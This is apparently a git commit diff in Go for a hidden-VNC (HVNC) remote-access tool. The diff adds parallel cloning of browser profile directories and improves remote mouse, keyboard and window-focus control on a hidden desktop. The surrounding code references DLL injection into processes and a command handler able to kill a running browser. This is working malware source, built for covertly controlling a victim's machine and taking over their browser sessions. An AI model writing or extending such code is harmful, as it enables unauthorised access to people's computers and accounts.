huge HVNC imporvements

2026-03-17 23:55:39 -05:00
parent 746939c396
commit d381dbdc64
7 changed files with 180 additions and 106 deletions
@@ -3,13 +3,35 @@
 package capture

 import (
+	"io"
 	"log"
 	"os"
+	"path/filepath"
 	"strings"
 	"syscall"
 	"unsafe"
 )

+func copyFileCount(src, dst string) (int64, error) {
+	in, err := os.Open(src)
+	if err != nil {
+		return 0, err
+	}
+	defer in.Close()
+
+	if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
+		return 0, err
+	}
+	out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
+	if err != nil {
+		return 0, err
+	}
+	defer out.Close()
+
+	n, err := io.Copy(out, in)
+	return n, err
+}
+
 var (
 	ntdll                         = syscall.NewLazyDLL("ntdll.dll")
 	rstrtmgr                      = syscall.NewLazyDLL("rstrtmgr.dll")
@@ -5,11 +5,12 @@ package capture
 import (
 	"encoding/binary"
 	"fmt"
-	"io"
 	"log"
 	"os"
 	"path/filepath"
 	"strings"
+	"sync"
+	"sync/atomic"
 	"syscall"
 	"time"
 	"unsafe"
@@ -421,22 +422,14 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
 		onProgress(0, 0, totalBytes, "cloning")
 	}

-	var copiedBytes int64
-	lastPercent := -1
+	type copyJob struct {
+		src string
+		dst string
+	}
+	var jobs []copyJob

-	reportProgress := func(n int64) {
-		if onProgress == nil || totalBytes <= 0 {
-			return
-		}
-		copiedBytes += n
-		pct := int(copiedBytes * 100 / totalBytes)
-		if pct > 100 {
-			pct = 100
-		}
-		if pct != lastPercent {
-			lastPercent = pct
-			onProgress(pct, copiedBytes, totalBytes, "cloning")
-		}
+	collectFile := func(src, dst string) {
+		jobs = append(jobs, copyJob{src: src, dst: dst})
 	}

 	for _, entry := range entries {
@@ -445,29 +438,70 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
 		dst := filepath.Join(cloneBase, name)

 		if entry.IsDir() {
-			// For profile directories (Default, Profile N), clone contents but skip caches inside
 			isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
 			if isProfile {
-				if err := cloneProfileDirProgress(browserName, src, dst, skipDirs, reportProgress); err != nil {
-					log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
-				}
+				collectProfileDir(src, dst, skipDirs, collectFile)
 			} else if !skipDirs[strings.ToLower(name)] {
-				// Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
-				if err := copyDirProgress(src, dst, reportProgress); err != nil {
-					log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
-				}
+				collectDirFiles(src, dst, collectFile)
 			}
 		} else {
-			// Top-level files (Local State, etc.)
-			n, err := forceCopyFile(src, dst)
-			if err != nil {
-				log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
-			} else {
-				reportProgress(n)
-			}
+			collectFile(src, dst)
 		}
 	}

+	log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs))
+
+	dirs := make(map[string]struct{})
+	for _, j := range jobs {
+		dirs[filepath.Dir(j.dst)] = struct{}{}
+	}
+	for d := range dirs {
+		os.MkdirAll(d, 0700)
+	}
+
+	const numWorkers = 8
+	jobCh := make(chan copyJob, 256)
+	var wg sync.WaitGroup
+	var copiedBytes atomic.Int64
+	var lastPercent atomic.Int32
+	lastPercent.Store(-1)
+
+	reportProgress := func(n int64) {
+		if onProgress == nil || totalBytes <= 0 || n <= 0 {
+			return
+		}
+		cur := copiedBytes.Add(n)
+		pct := int32(cur * 100 / totalBytes)
+		if pct > 100 {
+			pct = 100
+		}
+		prev := lastPercent.Load()
+		if pct > prev && lastPercent.CompareAndSwap(prev, pct) {
+			onProgress(int(pct), cur, totalBytes, "cloning")
+		}
+	}
+
+	for i := 0; i < numWorkers; i++ {
+		wg.Add(1)
+		go func() {
+			defer wg.Done()
+			for job := range jobCh {
+				n, err := forceCopyFile(job.src, job.dst)
+				if err != nil {
+					log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err)
+				} else {
+					reportProgress(n)
+				}
+			}
+		}()
+	}
+
+	for _, job := range jobs {
+		jobCh <- job
+	}
+	close(jobCh)
+	wg.Wait()
+
 	if onProgress != nil {
 		onProgress(100, totalBytes, totalBytes, "done")
 	}
@@ -475,6 +509,37 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
 	return cloneBase, nil
 }

+func collectProfileDir(src, dst string, skipDirs map[string]bool, collect func(string, string)) {
+	entries, err := os.ReadDir(src)
+	if err != nil {
+		return
+	}
+	for _, entry := range entries {
+		name := entry.Name()
+		s := filepath.Join(src, name)
+		d := filepath.Join(dst, name)
+		if entry.IsDir() {
+			if skipDirs[strings.ToLower(name)] {
+				continue
+			}
+			collectDirFiles(s, d, collect)
+		} else {
+			collect(s, d)
+		}
+	}
+}
+
+func collectDirFiles(src, dst string, collect func(string, string)) {
+	filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
+		if err != nil || info.IsDir() {
+			return nil
+		}
+		rel, _ := filepath.Rel(src, path)
+		collect(path, filepath.Join(dst, rel))
+		return nil
+	})
+}
+
 // calcCloneSize walks the source user data directory and returns the total
 // byte count of files that would be copied (respecting skipDirs).
 func calcCloneSize(srcUserData string, skipDirs map[string]bool) int64 {
@@ -538,77 +603,6 @@ func calcDirSize(dir string) int64 {
 	return total
 }

-// cloneProfileDirProgress copies a profile directory with progress reporting.
-func cloneProfileDirProgress(browserName, src, dst string, skipDirs map[string]bool, report func(int64)) error {
-	if err := os.MkdirAll(dst, 0700); err != nil {
-		return err
-	}
-	entries, err := os.ReadDir(src)
-	if err != nil {
-		return err
-	}
-	for _, entry := range entries {
-		name := entry.Name()
-		s := filepath.Join(src, name)
-		d := filepath.Join(dst, name)
-
-		if entry.IsDir() {
-			if skipDirs[strings.ToLower(name)] {
-				continue
-			}
-			if err := copyDirProgress(s, d, report); err != nil {
-				log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
-			}
-		} else {
-			n, err := forceCopyFile(s, d)
-			if err != nil {
-				log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
-			} else {
-				report(n)
-			}
-		}
-	}
-	return nil
-}
-
-func copyFileCount(src, dst string) (int64, error) {
-	in, err := os.Open(src)
-	if err != nil {
-		return 0, err
-	}
-	defer in.Close()
-
-	if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
-		return 0, err
-	}
-	out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
-	if err != nil {
-		return 0, err
-	}
-	defer out.Close()
-
-	n, err := io.Copy(out, in)
-	return n, err
-}
-
-func copyDirProgress(src, dst string, report func(int64)) error {
-	return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
-		if err != nil {
-			return nil // skip errors
-		}
-		rel, _ := filepath.Rel(src, path)
-		target := filepath.Join(dst, rel)
-		if info.IsDir() {
-			return os.MkdirAll(target, 0700)
-		}
-		n, err := forceCopyFile(path, target)
-		if err == nil {
-			report(n)
-		}
-		return err
-	})
-}
-
 func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
 	if filePath == "" {
 		return fmt.Errorf("empty file path")
@@ -6,6 +6,7 @@ import (
 	"fmt"
 	"image"
 	"log"
+	"math"
 	"runtime"
 	"strings"
 	"sync"
@@ -170,6 +171,7 @@ var (
 	hvncCurrentTaskID   atomic.Uint64
 	hvncCurrentTaskKind atomic.Int64
 	hvncCurrentTaskNs   atomic.Int64
+	hvncLastScale       atomic.Uint64 // float64 bits — scale used by last HVNC capture

 	// Capture cache: pooled DC/DIB per window to avoid per-frame allocation
 	hvncWinCache     map[uintptr]*hvncWinCacheEntry
@@ -385,6 +387,7 @@ func CleanupHVNCDesktop() {
 	hvncHasCursor = false
 	hvncWorkingWindow = 0
 	hvncInputMu.Unlock()
+	hvncLastScale.Store(0)

 	if hvncDesktopHandle != 0 {
 		if hvncOriginalDesktop != 0 {
@@ -731,6 +734,7 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
 	}

 	userScale := effectiveScale(srcW, srcH)
+	hvncLastScale.Store(math.Float64bits(userScale))
 	dstW := int(float64(srcW) * userScale)
 	dstH := int(float64(srcH) * userScale)
 	if dstW <= 0 || dstH <= 0 {
@@ -930,6 +934,13 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
 		return nil
 	}

+	if bits := hvncLastScale.Load(); bits != 0 {
+		if s := math.Float64frombits(bits); s > 0 && s < 1 {
+			x = int32(float64(x) / s)
+			y = int32(float64(y) / s)
+		}
+	}
+
 	absX := bounds.Min.X + int(x)
 	absY := bounds.Min.Y + int(y)
 	if absX < bounds.Min.X {
@@ -954,7 +965,14 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
 	pt := point{x: int32(absX), y: int32(absY)}
 	hitHwnd := windowFromPoint(pt)
 	if hitHwnd != 0 {
+		root := rootWindow(hitHwnd)
+		prevWorking := getWorkingWindow()
 		rememberWorkingWindow(hitHwnd)
+		if prevWorking == 0 || rootWindow(prevWorking) != root {
+			procSetForegroundWindow.Call(root)
+			procSetActiveWindow.Call(root)
+			procSetFocus.Call(hitHwnd)
+		}
 		clientPt := pt
 		procScreenToClient.Call(hitHwnd, uintptr(unsafe.Pointer(&clientPt)))
 		postMouseMessage(hitHwnd, WM_MOUSEMOVE, uintptr(currentMouseButtons()), clientPt)
@@ -969,13 +987,23 @@ func hvncMouseButtonOnThread(button int, down bool) error {
 		endHVNCWindowDrag(pt)
 	}

+	setMouseButton(button, down)
+
 	hitHwnd := windowFromPoint(pt)
 	if hitHwnd == 0 {
 		return nil
 	}

+	root := rootWindow(hitHwnd)
+	prevWorking := getWorkingWindow()
 	rememberWorkingWindow(hitHwnd)

+	if down && (prevWorking == 0 || rootWindow(prevWorking) != root) {
+		procSetForegroundWindow.Call(root)
+		procSetActiveWindow.Call(root)
+		procSetFocus.Call(hitHwnd)
+	}
+
 	if button == 0 {
 		lparam := makeLParam(pt.x, pt.y)
 		hitTest := safeNCHitTest(hitHwnd, lparam)
@@ -1065,10 +1093,20 @@ func hvncKeyOnThread(vk uint16, down bool) error {
 	if hwnd == 0 {
 		hwnd = getWorkingWindow()
 	}
+	if hwnd == 0 {
+		hwnd = findAnyVisibleTopLevelWindow()
+	}
 	if hwnd == 0 {
 		return nil
 	}
-	rememberWorkingWindow(rootWindow(hwnd))
+	root := rootWindow(hwnd)
+	prevWorking := getWorkingWindow()
+	rememberWorkingWindow(root)
+	if prevWorking == 0 || rootWindow(prevWorking) != root {
+		procSetForegroundWindow.Call(root)
+		procSetActiveWindow.Call(root)
+		procSetFocus.Call(hwnd)
+	}
 	updateModifierState(vk, down)

 	if isModifierVK(vk) {
@@ -1094,6 +1132,17 @@ func foregroundWindow() uintptr {
 	return r
 }

+func findAnyVisibleTopLevelWindow() uintptr {
+	hwnd := getTopWindow(0)
+	for hwnd != 0 {
+		if isWindowVisible(hwnd) {
+			return hwnd
+		}
+		hwnd = getWindow(hwnd, GW_HWNDNEXT)
+	}
+	return 0
+}
+
 func makeLParam(x, y int32) uintptr {
 	return uintptr((uint32(y) << 16) | (uint32(x) & 0xFFFF))
 }
@@ -1356,7 +1356,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		exePath := ""
 		clone := true
 		cloneLite := false
-		killIfRunning := true
+		killIfRunning := false
 		if payload != nil {
 			if v, ok := payload["browser"].(string); ok {
 				browser = v